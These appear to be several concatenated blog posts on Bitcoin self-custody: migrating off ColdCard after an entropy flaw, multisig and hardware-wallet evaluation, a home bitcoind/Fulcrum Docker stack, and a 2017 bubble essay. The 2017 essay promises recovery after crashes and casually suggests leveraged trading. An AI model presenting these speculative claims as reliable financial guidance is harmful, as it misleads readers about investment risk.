5. Record which signers correspond to which fingerprints.
6. Verify one receiving address on more than one signer.
7. Make a small deposit, restore and test the signers, and perform a complete trial withdrawal.

The descriptor cannot spend by itself, but it reveals every address and the full history. It is a necessary backup for reconstructing the policy and also sensitive privacy data. Keep copies in locations separate from the seeds.

When spending, Sparrow creates the PSBT; signer A signs; signer B signs; Sparrow combines and broadcasts. Every person or device must review the outputs. Multisig run by an operator who confirms everything automatically merely distributes the same mistake across three screens.

None of this is a mystery to me. I still find it bureaucratic as hell: three seeds, three backups, an output descriptor, separate locations, two devices for every spend, firmware updates, and a recovery plan that another family member must be able to execute when you are no longer around.

Every layer reduces one technical risk and creates another opportunity for the operator to make a mistake. Usability is part of security too. If the architecture becomes so annoying that you stop testing backups, stop updating signers, or cannot document inheritance, the perfect multisig diagram is not worth much.

I completely understand anyone who prefers to stay with single-sig and a strong, independent, well-stored passphrase. It is much easier to operate. Just make that choice knowing you accept more risk: you still depend on one root and one signing path. If that point fails, the entire wallet falls with it. A passphrase adds a barrier; it does not add a second independent signature.

Sparrow’s best practices guide recommends 2-of-3 using hardware wallets from different vendors and backups stored in separate locations.

If one key in your 2-of-3 came from an affected ColdCard, the attacker potentially already controls that key and can produce a signature. They still cannot spend alone, but your effective threshold has fallen: now they only need to compromise one more signer. Create a new multisig wallet with a new cosigner and move the funds. You cannot “replace one key” while keeping the same addresses; the policy changed, so the scripts change too.

Fulcrum fixes privacy, not a weak key

Sparrow needs to query the blockchain. On a public Electrum server, it requests the history of script hashes derived from your addresses. The server can correlate queries, timing, and IP address to group balances and history, even without receiving the raw xpub. To avoid that, I connect Sparrow to my own Bitcoin Core node through Fulcrum.

I showed the architecture and installation in Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum. That article remains useful, with one obvious correction: do not use a seed generated by affected ColdCard firmware.

Your node validates the blockchain. Fulcrum indexes it and responds quickly to Sparrow. That improves sovereignty and query privacy. Neither can stop an attacker from signing with a private key they reproduced from bad entropy.

How I would migrate today

Do not turn one emergency into a second accident. I would follow this order:

1. Take inventory. List the model, firmware that generated the seed, accounts, passphrases, derivation paths, and every multisig in which that key participates. Do not post balances or addresses on social media.
2. Treat the seed as compromised. Do not enter it into online software or accept any third-party “checker.” Keep signing on the device only for as long as it takes to leave.
3. Choose the new architecture. I would not generate the new seed on a ColdCard. Use another new signer bought directly from the manufacturer, a SeedSigner, or 2-of-3 with different implementations. Do not import the old words into it. If you insist on reusing your ColdCard, first install the corrected firmware for the proper model and release track.
4. Generate new entropy. Use independent sources and an audited mixer. For dice, use casino-grade material, multiple sources, and at least 99 rolls for a 24-word mnemonic. I would do more.
5. Back up before receiving. Mnemonic, separate passphrase, fingerprints, and the descriptor for multisig. Never photograph any of them or store them in the cloud.
6. Test recovery. Recreate the wallet and verify fingerprints and addresses. In multisig, prove that two keys can sign without depending on the third.
7. Verify the address on the screen. Do not trust only what Sparrow displays on the computer monitor.
8. Send a small amount. Confirm that the new wallet can receive and spend. Coinkite also recommends this test.
9. Move the rest immediately afterward. Review the fee and every output. Look for balances in other accounts, passphrases, and change addresses derived from the old seed.
10. Keep the old backup marked as compromised. Retain it until you are certain the migration confirmed and no delayed deposit will arrive. Never reuse an old address.

If the attacker is racing you, do not spend a week designing the perfect multisig. Create a safe, verified destination, perform the minimum test, and move the funds beyond the old key’s reach. You can reorganize UTXOs and improve the architecture later, with time to think.

So which hardware wallet do I recommend?

Today, none.

After explaining entropy generation, BIP39, passphrases, PSBT, air gaps, descriptors, and multisig, it should be clear that fully offline, hand-built self-custody is very hard. I do not expect a normal person to master the mathematical implications, audit every algorithm, and execute every step without error. Most programmers could not do it either. I will not pretend I can review the entire chain alone, from silicon to the firmware running on the device.

That is exactly why hardware wallets exist. They package complicated cryptography and procedures into an interface a person can operate. This transfers part of the responsibility to the manufacturer; it does not make trust disappear.

Leaving your life savings in an exchange account remains the worst default. You do not have the keys and depend on the company’s solvency, withdrawal policy, legal system, and account security. But a handmade setup you do not understand can also end in total loss. There is no point eliminating counterparty risk only to replace it with a ceremony nobody can restore after a fire or your own death.

For years, the hardware wallet was treated as the last safe haven between those extremes. Coinkite shook trust in the entire category. That does not mean Ledger, Trezor, BitBox, Passport, Jade, SeedSigner, and everyone else are broken or equivalent. It means a strong name, secure element, air gap, visible code, and years on the market are not enough. I can no longer point to one device and say, “buy this and sleep well.” You will have to do your homework.

NEVER buy a second-hand hardware wallet. Buy it new, directly from the manufacturer’s official store. Do not save on shipping by placing your life savings in a device that passed through a stranger’s hands. Marketplace listings, auctions, eBay, “open box,” refurbished hardware, and that unbelievable deal from a friend are all out of the question.

When the package arrives, do not tear everything open and start pressing buttons. Open the official documentation for that model and follow its supply-chain verification. ColdCard uses serialized packaging that shows evidence of opening: the number appears on the bag, an internal tab, and the device itself. Trezor documents the holographic seals for each model. BitBox combines sealed packaging with cryptographic attestation performed by its app.

Check the seal, cuts, glue, serial number, box contents, and the authenticity mechanism shown by the device or official software. Any mismatch ends the setup: do not connect a seed, do not “see whether it works,” and contact the manufacturer. The device must arrive without an initialized wallet and generate new words in front of you. A seed printed inside the box is a scam.

And watch the terminology: all of this is tamper-evident, not tamper-proof. ColdCard’s own documentation admits a bag can be attacked; BitBox says perfect packaging does not guarantee authenticity. An intact seal is one layer. I still want attestation or a genuine check, signed firmware, hash verification where available, and a complete test with a small amount of money.

I would start with these questions:

1. What is the published threat model? The manufacturer must say what it protects against and, more importantly, what remains out of scope: an infected computer, stolen device, physical laboratory attack, supply chain, targeted firmware, coercion. “Military-grade security” is not a threat model.
2. Where does the entropy come from, exactly? Find the sources, how they are combined, and which end-to-end tests prove the New Wallet flow reaches the promised RNG. Support for dice or external entropy helps only when the mixing mechanism is documented and audited. The ColdCard case showed that having the correct TRNG inside the binary does not mean seed generation uses it.
3. Is the code actually free, and does the binary correspond to it? “Source available” under a restrictive license is not FOSS. Open code permits audits, but does not prove anyone performed one. A reproducible build lets third parties rebuild the firmware and compare it bit for bit. Look for current independent verifications on WalletScrutiny, not just the manufacturer’s promise.
4. How does the company treat people who find flaws? Read the disclosure policy, scope, and bounty amounts. Look for old advisories, CVEs, postmortems, and conversations with researchers. A company that publishes a vulnerability, explains its cause, fixes it quickly, and thanks the researcher deserves more trust than one with a supposedly “perfect” history. Sometimes nobody found a vulnerability because nobody competent had an incentive to look.
5. What can you verify on the trusted screen? Before signing, the device should display the address, amount, fee, and change. It should verify receiving addresses on its own display, allow PIN and passphrase entry without handing them to the computer, and correctly register the multisig policy. A secure element protects a key; it cannot rescue an interface that makes you sign without understanding the outputs.
6. Is there an exit route without the manufacturer? I want interoperable standards: BIP39/BIP32 where applicable, PSBT, and output descriptors. I want to export xpubs, fingerprints, and descriptors, use Sparrow, connect my node, and recover through another implementation. Mandatory accounts, proprietary clouds, and backups that open only in the company’s app are lock-in built on top of the key to your life.
7. How do the hardware, firmware, and supply chain work? A secure element, ordinary microcontroller, and stateless signer make different tradeoffs. Find out what persists on the device and what a physical attacker can extract. Releases should be signed, have useful changelogs, prevent unsafe downgrades, and receive maintenance for years. Research how the device proves authenticity, how the company documents packaging and transport, what happens if the update server disappears, and which closed components exist. An air gap is not a magic seal either: QR, NFC, and microSD are input parsers and remain an attack surface.
8. Can you recover without improvising? Before depositing meaningful value, generate the wallet, back it up, erase the device, and recover. Verify the fingerprint, an address, and a complete round-trip transaction. In multisig, restore the descriptor and prove the quorum works without one key. An untested backup is hope, not a backup.

I would also research the repository history, security issues, recent commits, independent audits, and the time between a vulnerability report and its fix. I would search for the model name alongside vulnerability, reproducible build, seed entropy, multisig, and responsible disclosure. An influencer review with an affiliate link is useful for seeing the screen and device size, not for deciding where to store your wealth.

For small amounts, a thoroughly researched commercial signer may be much less risky than a handmade invention. For wealth that changes your life, 2-of-3 with different manufacturers and codebases remains the reference, as Sparrow’s guide recommends. It limits the damage from one compromised vendor, but demands more backups, more testing, and a well-documented policy. Multisig you cannot restore is worse than well-maintained single-sig.

In some collaborative custody services, a company holds one key in a 2-of-3 setup. It should not be able to spend alone, but it learns information about your wallet and can disappear, deny service, or complicate recovery. A professional custodian also exchanges technical risk for legal and counterparty risk. In the end, you choose which risk you carry and which you hand to someone else.

The best recommendation I can offer is not a brand. Choose an architecture proportional to the amount and determine which failures it tolerates. Before depositing money that would hurt to lose, run the entire flow with a small amount: receive, spend, erase one signer, restore the backup, and see whether you can return on your own.

Conclusion

Self-custody removes the custodian but leaves a brutal responsibility behind. Trust remains spread across silicon, firmware, the compiler, the build process, the wallet coordinator, and your own discipline. Hardware wallets remain useful because doing everything by hand is impractical for almost everyone. The mistake is confusing the tool with a guarantee.

I do not recommend a specific brand today. I prefer to distribute risk and create ways to catch failures: independent entropy sources, free code, reproducible builds verified by third parties, rehearsed recoveries, different signers, and multisig when the amount justifies it and you accept the bureaucracy. Single-sig with a passphrase is an understandable choice. It simply does not provide the same fault tolerance. Make that choice knowing what you delegate and which risk you decided to keep.

This may become one of the worst episodes in the history of Bitcoin self-custody. Not because someone left coins on a shitty exchange, typed a seed into a phishing site, or installed a pirated wallet. Many people bought a dedicated device, wrote down 24 words, kept the backup in steel, kept everything offline, and signed through an air gap. They did exactly what Bitcoin culture taught as the correct procedure. A nasty bug still caught them at the most important moment of all: choosing the root.

In the worst cases, the RNG reduced the universe to something around 2^40. The attacker does not need to touch the ColdCard. They enumerate possible states, derive the most likely BIP32 trees and addresses, query the public blockchain, and find which candidates hold UTXOs. Once they find one, they also have the private keys needed to sign. The ColdCard may be powered off, without a battery or USB cable, and locked in a safe. It makes no difference. An air gap protects the path between signer and computer; it cannot recover entropy that never existed.

There was no visible warning. The wallet received, signed, and restored normally until the day someone else reproduced the same key. That is why 12 versus 24 words, air gap versus USB, and secure element versus microcontroller become secondary debates when nobody tested whether the New Wallet button called the correct RNG.

It also shows why I refuse to call negligence a black swan. The source was open, the path was auditable, and the culture pushed away some of the people most capable of spotting problems. It was a white swan waiting for someone to look in the right direction.

The lesson is not to abandon self-custody. It is to stop outsourcing understanding. Study the threat model, find out how entropy is generated, inspect the manufacturer’s history, rehearse recovery, and know which risks remain concentrated. Do not blindly trust a company, certification, influencer, tutorial, or article. Not even this one. Verify.

I have already moved my funds from the old ColdCard. In practice, if you own any ColdCard, do the same. There is no prize for finding out too late that your case had another undocumented exception.

Choose the new architecture using the criteria above. Generate a completely new root. Mix genuinely independent entropy. Test the backup. Verify the addresses. Move everything.

First things first: this isn’t an evangelism piece or a day-trading pitch. Quite the opposite. As I write this, on April 1, 2026, Bitcoin is around US$ 68k and close to R$ 391k, below the 2025 peaks. Plenty of people look at that and either panic or start fantasizing about leveraged trades. I think both reactions are wrong. There’s a “super cycle” thesis floating around based on institutional demand, spot ETFs and the lagged halving effect. Maybe. Maybe not. What I do know is that short-term candles don’t change the part I actually care about: infrastructure. If you need leverage to “speed up your gains,” you’re probably just speeding up your chances of getting liquidated.

For me, the useful question isn’t “is it going up tomorrow?” The useful question is: “if I want to store and move Bitcoin without outsourcing everything to an exchange, a web wallet and a public API, how do I set that up properly at home?”

The real problem: too much convenience costs too much privacy

Most people’s default flow is simple: buy on an exchange, leave the balance sitting there, or install some random wallet on the phone and call it done. It works. It also concentrates risk and leaks metadata everywhere.

If you leave a balance on an exchange, you have custody risk. If you use a desktop wallet pointed at a public server, you have privacy risk. If you use a hardware wallet casually, bought second-hand on Mercado Livre, you have supply chain risk. Mix all that with hurry, and it gets worse.

That’s why I ended up at a combination that, for someone technical who wants to run their own infra, feels pretty solid:

• Coldcard for cold storage
• Sparrow Wallet on Linux as the desktop wallet and transaction coordinator
• Fulcrum on the home server as a private Electrum server
• bitcoind on the same server as a real full node, validating the chain and broadcasting without depending on third parties

It’s not the easiest path. But that’s exactly the point. Real security rarely comes from the easiest path.

The concepts that confuse beginners

Before getting into the stack, it’s worth aligning on four terms that usually get tossed around like everyone already knows them:

In plain language, the flow looks like this:

1. Sparrow, on the desktop, builds the transaction.
2. That transaction becomes a PSBT.
3. The PSBT goes to the Coldcard via microSD.
4. The Coldcard signs it offline.
5. The signed file goes back to Sparrow.
6. Sparrow broadcasts through your own server, not through someone else’s public infrastructure.

That’s what people mean by “airgapped workflow.” It’s not magic. It’s just disciplined separation of roles.

Coldcard: cold signer, offline, the right kind of annoying

I use Coldcard as cold storage. The reason is simple: it was designed from day one as a Bitcoin-only device, with a heavy focus on airgapped operation through microSD. That alone eliminates an entire category of “conveniences” that many people find practical, but that I’d rather not have anywhere near my keys.

In practice, the Coldcard holds the most important part of the system: the private key. It doesn’t need to know about a server, Electrum, public API, exchange, or any of that. Its job is one thing: sign transactions offline.

That decoupling is great for two reasons:

• The desktop can be convenient without becoming a single point of failure.
• The signer stays isolated even if your main machine has problems.

And here’s a warning I really want to put in mental all-caps:

Never buy a hardware wallet second-hand. Ever.

This isn’t an exaggeration. You have no way to actually know what happened to that device before it reached your hands. It could have a pre-generated seed, tampered firmware, swapped components, repackaged box, compromised supply chain, or simply some dumb trick waiting for you to let your guard down. Hardware wallet is one of those categories where saving R$ 300 buying used is insanity. Always buy from the manufacturer’s official site or from a reseller officially authorized by the manufacturer. And even then, check seals, provenance and firmware.

Can you do something similar with an old phone?

You can. But I’d treat it as a study or budget alternative, not as an obvious substitute for a Coldcard.

The most serious path for that today is AirGap Vault, which was specifically designed to use an old smartphone as an offline signer over QR codes, keeping the device off the network. The idea is good, and for many people it might be the right entry point.

But there are trade-offs:

• An old smartphone wasn’t designed as a dedicated hardware wallet
• The device’s prior history matters
• An aged battery, bad screen and abandoned Android are real problems
• The threat model is less clear than on a dedicated device

So my view is simple: can you use it? Yes. Would I recommend it as the main solution for storing meaningful wealth? No. For that I still prefer dedicated hardware bought from the right source.

Sparrow Wallet: the best desktop piece in this puzzle

On Linux, I use Sparrow Wallet. For me, today, it’s one of the best pieces of software in this ecosystem.

What I like about it:

• works very well on Linux desktop
• supports hardware wallets properly
• understands PSBT without drama
• makes it crystal clear what’s happening in a transaction
• it’s great as a watch-only wallet

In my flow, Sparrow does three things:

1. Holds the watch-only wallet.
2. Builds the transaction with outputs and fees.
3. Receives the signature back from the Coldcard and broadcasts it.

That separation is elegant. The desktop becomes the coordinator. The signer stays cold.

Why Coldcard + Sparrow works so well

This combo is good because each piece does what it does best:

• the Coldcard protects the key
• Sparrow organizes the human use of the wallet
• the server handles the infrastructure

A lot of wallets try to do everything. I prefer this modular design. It’s less “magic,” more explicit, and easier to reason about without lying to yourself.

If I’m at the desktop, I want visibility. If I’m at the signer, I want isolation. If I’m at the server, I want validation and a local index. That division is clean.

The Sparrow problem when you don’t run your own infra

Now comes the important detail. Sparrow alone doesn’t solve privacy.

If you install it, open it and just use public servers, the people on the other end learn quite a lot about your wallet: your address set, xpubs or derivations, balance, history, query behavior, broadcast. It’s not custody, but it’s still exposure.

That’s the hole Fulcrum fills.

Fulcrum: the home’s private Electrum server

Fulcrum is an Electrum server. Instead of letting Sparrow ask things of a third-party public server, it asks my own server.

In practice, that means:

• local balance lookups
• local history
• local address discovery
• local broadcast

In other words: the desktop wallet stops “phoning home” to the world every time you open the program.

In my current setup, Sparrow points at a Fulcrum running on the home server on the LAN, with port 50001 on the internal network and 50002 with TLS.

And why Fulcrum isn’t enough on its own

Because Fulcrum doesn’t replace a full node. It indexes on top of a full node.

The thing actually validating blocks, consensus rules, scripts, transactions and the chain is bitcoind. Fulcrum sits in front of it as an indexing layer, because plain Bitcoin Core wasn’t built to serve a desktop wallet with that kind of fast querying.

So the correct architecture is:

Coldcard (offline signer)
        ^
        | microSD / PSBT
        v
Sparrow Wallet (desktop watch-only + coordinator)
        |
        v
Fulcrum (private Electrum server)
        |
        v
bitcoind (full node)

What I actually brought up on the home server

On my home server, the stack lives in a dedicated Docker Compose folder and is made of two containers:

• bitcoin-bitcoind
• bitcoin-fulcrum

The compose is simple. And that’s good. Sensitive infra doesn’t gain anything by getting clever in YAML.

The main design is this:

services:
  bitcoin:
    image: lncm/bitcoind:v28.0
    container_name: bitcoin-bitcoind
    user: "${BITCOIN_UID}:${BITCOIN_GID}"
    restart: always
    security_opt:
      - label:disable
    volumes:
      - /srv/bitcoin/data:/data/.bitcoin
    ports:
      - "8333:8333"
    stop_grace_period: 5m
    healthcheck:
      test: ["CMD", "bitcoin-cli", "-datadir=/data/.bitcoin", "ping"]
      interval: 30s
      timeout: 10s
      retries: 5
      start_period: 60s

  fulcrum:
    image: cculianu/fulcrum:latest
    container_name: bitcoin-fulcrum
    restart: always
    security_opt:
      - label:disable
    volumes:
      - /srv/bitcoin/fulcrum:/data
      - /srv/bitcoin/data:/bitcoin:ro
    command: ["Fulcrum", "/data/fulcrum.conf"]
    ports:
      - "50001:50001"
      - "50002:50002"
    depends_on:
      bitcoin:
        condition: service_healthy

In my case, the restriction of 50001 to LAN happens at the host’s network layer. The YAML above is the skeleton of the stack, not the entire firewall policy.

The most important parts of this:

• restart: always because this is a long-running service
• explicit volume so state isn’t lost
• user: "${BITCOIN_UID}:${BITCOIN_GID}" because the persistent directory needs to match the storage’s real ownership, so I’d rather pin UID/GID explicitly than trust the image’s default
• the RPC isn’t published on the host; it stays on the Compose internal network, which is all Fulcrum needs
• the healthcheck uses Bitcoin Core’s own local .cookie, so there’s no need to spread a fixed password through commands
• Fulcrum mounts the node’s datadir as read-only just to authenticate via the .cookie without inventing parallel credentials
• in fulcrum.conf, that becomes a simple configuration: talk to bitcoin:8332 and read the mounted .cookie, instead of repeating credentials in plaintext
• security_opt: label:disable because on this host with MicroOS, SELinux and sensitive bind mounts, I preferred the pragmatic route of disarming this specific friction rather than wasting time fighting labels on a volume that’s already being handled in a controlled way
• depends_on with service_healthy so Fulcrum only comes up after bitcoind’s RPC is responding
• stop_grace_period: 5m because bitcoind needs real time to flush state on a graceful shutdown

The final version

Today, the design I want to keep is this: bitcoind with txindex, dbcache=1024, persistent volume, 5-minute graceful stop, .cookie authentication, and Fulcrum in front serving Sparrow over LAN or TLS.

The current stack looks like this:

I’m not interested in turning this into a spectacle. The point is simpler: the final infrastructure has to be boring, predictable and stable.

The tunings that actually matter

There’s no magic here. There are a few parameters that make a real difference and a bunch of stuff that just decorates compose files.

stop_grace_period: 5m exists because bitcoind isn’t a disposable stateless API container. It maintains chainstate, indexes and an in-memory cache. If you don’t give the process time to finish properly, you create unnecessary work for the next start.

user: "${BITCOIN_UID}:${BITCOIN_GID}" is there for a much less glamorous and much more important reason: persistent storage with the wrong permissions is an excellent way to break a working service. So I’d rather align the container with the volume’s actual ownership instead of leaving that implicit.

dbcache=1024 is the spot I find most reasonable for a domestic node that’s always on. Big enough not to suffer constant I/O, small enough that every restart isn’t a labor.

txindex=1 I keep because I want the complete node, not a minimalist install just to claim “it runs Bitcoin.” If the goal here is operational autonomy, I’d rather have the full index.

rpcworkqueue=512 and rpcthreads=16 are the kind of tweak that makes sense when you know you’ll have Fulcrum querying the node all day and you want some headroom.

On the Fulcrum side, the main parameters are:

• db_mem = 8192
• db_max_open_files = -1
• bitcoind_clients = 8
• worker_threads = 0
• peering = false

Again: nothing esoteric. Just enough cache, reasonable parallelism and absolutely no announcing this server as a public service.

In my current bitcoin.conf, the important core ended up like this:

server=1
txindex=1
prune=0
rpcbind=0.0.0.0
rpcallowip=172.0.0.0/8
rpcthreads=16
rpcworkqueue=512
dbcache=1024
maxmempool=512

All of this makes sense on a server with decent RAM and fast NVMe. But the detail that matters most is still the clean shutdown. Wallet infrastructure has no room for “we’ll deal with it later” thinking.

The actual size of all this

This is another point a lot of people underestimate.

If you look at older Bitcoin Core documentation, you’ll find numbers like 350 GB of disk for a node with default config. That’s outdated. More current data on the size of the blockchain points to something around 725.82 GB on March 11, 2026, and that’s just the raw chain, without the extra indexes that many technical folks will want to keep.

And here comes the catch: the stack I’m describing isn’t “a bare Bitcoin Core just to claim you run a node.” It’s bitcoind with txindex, plus Fulcrum, plus headroom for rebuild, logs, snapshots and normal network growth.

So to put together something similar today, I’d think like this:

• below 1 TB: I wouldn’t even start
• 1 TB: pragmatic minimum
• 2 TB: comfortable range
• above that: if you want long-term headroom, snapshots and less operational anxiety

And here’s the most important observation of all in self-hosting: don’t assume persistence, mount and backup are right just because the YAML looks clean. Verify.

Another thing I wouldn’t forget on a btrfs host: put Fulcrum’s database (fulc2_db) on a separate subvolume. The reason is mundane. That directory grows, changes constantly and has nothing to do with generic automated snapshots of /var. If you mix everything, you end up dragging a large rebuildable index along with system snapshots, burning space and making maintenance more annoying than it needed to be. The Fulcrum index isn’t sensitive configuration. It’s heavy, volatile, rebuildable data. I treat it exactly like that.

Hardening: what I’ve already applied

This is where the difference between “ran on my laptop” and “I’d trust this to operate my wallet” shows up.

In the current state of the stack, the points I consider important ended up like this:

• Bitcoin Core’s RPC no longer relies on unnecessary host exposure; Fulcrum talks to bitcoind over the Docker internal network, which is what actually matters
• 50001 is restricted to internal LAN use
• 50002 is available with TLS, which is the right move when you need to leave plaintext behind
• shutdown is graceful, with stop_grace_period: 5m, so bitcoind has time to flush state instead of dying any old way
• the storage mount isn’t on a “we’ll see later” basis; there’s a mount check before Docker comes up, precisely to avoid silent drift

Each of those items exists for a very concrete reason.

Pulling the RPC off the host’s surface reduces attack at zero cost. Fulcrum is already in the same Compose and can already talk to the service by its internal name. There’s no real gain in leaving that port exposed where it doesn’t need to be exposed.

Separating 50001 and 50002 also helps keep the house in order. Within a controlled LAN, plaintext is acceptable. Outside of that, the minimum reasonable thing is TLS. Mixing the two scenarios usually turns into a mess.

stop_grace_period: 5m looks like a container detail, but it isn’t. Anyone who’s ever had a database, an index or a blockchain node killed without grace knows how that turns into hours of work later. A stateful service needs a decent stop.

And the mount check is one of those annoying things that saves you from yourself. The YAML can look beautiful. If the storage didn’t mount and the service came up writing where it shouldn’t, you’ve just manufactured a really irritating problem.

There’s also one detail I really like in this final version of the stack: Fulcrum authenticates to bitcoind through the .cookie file, not through a fixed plaintext password. That’s interesting for two reasons:

• you don’t need to leave a static credential showing up in compose, inspect, healthcheck or documentation
• the authentication is more aligned with the way Bitcoin Core already knows how to operate locally

In practical terms, that reduces accidental leakage of operational secrets. It’s not a magic solution to everything, but it’s much better than spreading rpcuser and rpcpassword across files, logs and commands.

The only kind of hardening I try to avoid here is the one that’s overly performative in YAML and loose in operation. I’d rather have less “stage engineering” and more basic discipline:

• minimum network
• minimum secrets
• minimum privilege
• clean shutdown
• verified storage
• separate subvolume for large rebuildable data, like the Fulcrum index

And, again, document everything. Good infrastructure isn’t the kind that just works today. It’s the kind that keeps working when you come back to it six months later.

Why this improves transactions on your side

When I build a transaction in Sparrow and sign it on the Coldcard, the chain of trust is much better defined:

• the private key never touches the internet
• the desktop wallet doesn’t have to trust a public server
• the broadcast can come out of my own node
• the address history doesn’t need to land on a third-party Electrum server

This doesn’t make anything invulnerable. There’s still a risk of malware on the desktop, badly stored seeds, human error, social engineering and physical disaster. But the design becomes much more coherent.

What about Lightning? Especially in Brazil?

There I separate things.

Reserves and larger-value transactions I treat one way. Day-to-day spending I treat another.

For day-to-day spending, especially in Brazil, I think it’s operationally dumb to carry a lot of balance in a hot wallet. Lightning wallets and spending apps have to be almost like a “pocket wallet”: just enough for daily life.

That goes double if you use a hybrid or custodial solution like RedotPay. I get why it’s interesting for Brazilians: a Hong Kong company, international focus, a reasonably practical bridge between crypto and card spending. For travel, online shopping and life outside the Brazilian banking axis, it makes sense. But I’d never treat it as a place to store wealth. That’s a spending tool, not a vault.

Same logic for Bitrefill Brasil. I think the service is interesting precisely because it solves a real pain in Brazil: turning sats into concrete utility without selling your full position or depending on banking integration all the time. Gift cards, top-ups, small expenses. As a use tool, it makes a lot of sense.

For a Lightning wallet on the phone, I’d look at first:

• Phoenix for people who want something very good and simple
• Breez for people who want a great payments experience
• ZEUS if you’re more technical and you eventually plan to operate your own Lightning node

All of them, in my head, fit into the “pocket wallet” category. Small balance. Daily use. Don’t turn a phone app into a retirement vault.

Recent news that reinforces this reasoning

I’m not building this kind of stack because I think it’s pretty. I’m building it because outsourcing too much goes wrong too often.

Two recent examples:

• the Bybit hack in 2025 showed, again, the basic risk of leaving meaningful custody at an exchange
• the Coinbase customer data leak in 2025 showed the other side of the problem: even when custody isn’t the immediate concern, your identity, balance and history become an attack surface

A stack like Coldcard + Sparrow + Fulcrum + full node doesn’t eliminate every risk in the world. But it avoids two very real classes of problem:

• losing custody sovereignty
• handing over wallet and transaction privacy on a silver platter to third parties

So is it worth it?

For most people, honestly, probably not in the first month. It’s labor-intensive, has a learning curve, and demands discipline.

But for programmers, engineers and any technical person who wants to learn not to depend on someone else’s service all the time, I think it’s an excellent exercise.

You learn about:

• separation of concerns
• persistence and state
• graceful shutdown
• observability
• secret isolation
• the trade-off between convenience and security

And all of that is valuable beyond Bitcoin.

In the end, that’s what interests me most about this stack. It isn’t about preaching “hyperbitcoinization” or posing as a price prophet. It’s about building a system at home that I can trust more because I’m the one who installed it, measured it, broke it, fixed it and documented it.

Is it work? Yes.

But that kind of work teaches exactly what modern software tries to make you forget: depending less on others is more work upfront, but it usually buys a lot more control in the long run.

This is the million dollar question. Or billion!

If you watched the legendary movie “The Social Network”, you know about the romanticized version of the equally legendary creation of Facebook. And you probably know all about the movie antagonists, the Winklevoss Twins.

But since the movie closes on the first years of Facebook, way back more than 10 years ago, you probably don’t know that those same Twins heavily ventured into cryptocurrencies, and while influencing NYC legislation they also invested USD 11 million out of the USD 65 million from the Facebook settlement. In 2013 this allowed them to buy into 1% of the available coins. Which means that they are now the very first Cryptocurrency Billionaires (with a “B”!)

So, this is “The Social Network Part 2: Rise of the Cryptocurrency”

2017 has been a pretty crazy ride for cryptocurrencies in general, Bitcoin in particular.

It was not 10 days ago that we reached “over 9000!”

And just a couple of days later, Bitcoin crossed the elusive 10,000! And when everybody thought that was it, it keeps going up, in the largest and fastest bullish run in cryptocurrency history.

As of the time of this article writing, we are consolidating around the 11,700 mark, going after the 12,000 as we approach 2018 and the entrance of the CME Futures, Nasdaq, and many other big endeavors.

And the world can’t help themselves but ask: “are we in a bubble?”

Or a more precise question: “will I lose everything if I buy Bitcoins today?”

Interestingly, the best answer so far came from traditional Forbes in the article “Is Bitcoin In A Bubble? Check The NVT Ratio”

Traders love their indicators. In computer science, we are getting more and more captivated with statistics, probability, and the dawn of machine learning. But both fields are still far from getting away from the biggest trap of all: “Post hoc ergo propter hoc”.

“Correlation is NOT Causation”

This is the mistake that leads to unbelievable things in humanity. From extremist religions to people selling houses to buy Bitcoins.

Accept that no one can predict the future. We can forecast the short term. If we look hard enough we can find any number of indicators that feel “Sciency” and “Math-y” enough to believe, but at the end of the day, they are as good as lucky tokens or four-leaf clovers.

And the most important thing: It doesn’t matter if Bitcoin crashes hard tomorrow!

Programmers from Tech startups are the very first to shout out the stupid “It is like Tulip Mania all over again” as if this makes them sound wise or something. As I said in my previous article, if you hear anyone repeating this fake news, you know they know nothing.

Equally disingenuous is when I hear people saying “just believe in it, real-world analysis doesn’t apply to Bitcoin.” This is stupid, of course, it does. Both the stock market and cryptocurrencies follow the same behavior: because the players are the same. Not only technical analysis, but behavioral economics also applies. Like Richard Thaler’s Endowment effect:

“People ascribe more value to things merely because they own them.”

If programmers are so honest and wise, why not remind us all of the irrational exuberance in our own field? How about the legendary Dot-com Bubble Crash of 2001?

I was 24 years old back then, and having around 4 years in my career, it was a crazy time to work. I worked in 3 different companies in that period. I saw all of them explode. And damn, I was so eager and so excited, and at the same time so frustrated.

I was frustrated that I lacked the experience, the knowledge, and the capital to pursue those endeavors and ride the big waves.

And when it all went down in 2001, it felt like I had lost the chance. It’s not a pleasant feeling. Rationally I knew that I didn’t miss anything. I lived through it, I experienced it, and as I didn’t have the capital to invest, I also didn’t lose anything when it exploded. But I promised myself that I would take my time to study, get experience, accumulate capital. And when another opportunity like that shows itself to me, I would grab it.

Most importantly. The bubble crashed, and it was spectacular. I never got desperate, or had feelings of “end of the world”. The world never ends, we are too ingenious for that.

The graph above is the Nasdaq-100, a stock market index made up of more than 100 equity securities issued by 100 of the largest non-financial companies listed on the NASDAQ. And that graph is powerful because it feels like Bitcoin is heading towards its inevitable bubble crash as well.

Now, consider the following graph of the Nasdaq-100 from 1999 to today (2017):

Yes, we had a period of depression and very slow recovery. Then the economic crisis of 2008 shot us in the face. But we recovered. Give it 10 years after a crash, and I promise you that we will reach levels above and beyond the previous crisis. That’s how we function. Over time we innovate, we adjust rough edges, we make things more efficient and streamlined.

Now, the Nasdaq-100 is valued at 6,263.70. At the peak of the 2001 bubble, the index was at 4,691.60. So we are 50% above the bubble fever of the 2000s. And it all happened in my lifetime.

And also as I planned in 2001, I was not ready back then. I am now.

Antifragility works like this: you can gamble an amount that, if you lose it, you won’t regret it. But if you win, you win big. Bitcoin is like that. I can invest - let’s say - USD 10,000. If I lose it, yeah, it will hurt but I won’t die because of it. But if it keeps its exponential growth, and doubles in the next 2 months, I will have USD 20,000. And those USD 20,000, 6 months from now, can become USD 50,000, or more.

But it all goes down to: if it crashes, I lose the USD 10,000. That’s fine. And if I want to be really risky, I can apply trading techniques, do swing trading, margin trading, leverage myself, and so forth.

Bottom line is: it really doesn’t matter if this is a bubble or not. If it explodes, cryptocurrencies will go on, in one form or another. We already experienced what it’s like to trade in a 100% digital currency across borders. We won’t go back. The internet didn’t go back, we just couldn’t get offline anymore.

After the historical USD 10,000 break a day ago, Bitcoin and cryptocurrencies in general finally reached the mainstream media in a bombastic way.

Like many in the tech industry, I tried the tech since the very beginning. I mined a couple of bitcoins myself back in 2009, then lost my wallet private key, totally forgot about it, and many years later here I am, kicking myself in the butt :-)

When it reached USD 3,000 I had my interest in the platform totally renewed. And it was a very pleasant surprise to see how big it became. If you follow me, you know how eager I am to learn new things that have real potential. And also how easily I turn my attention full gear into something.

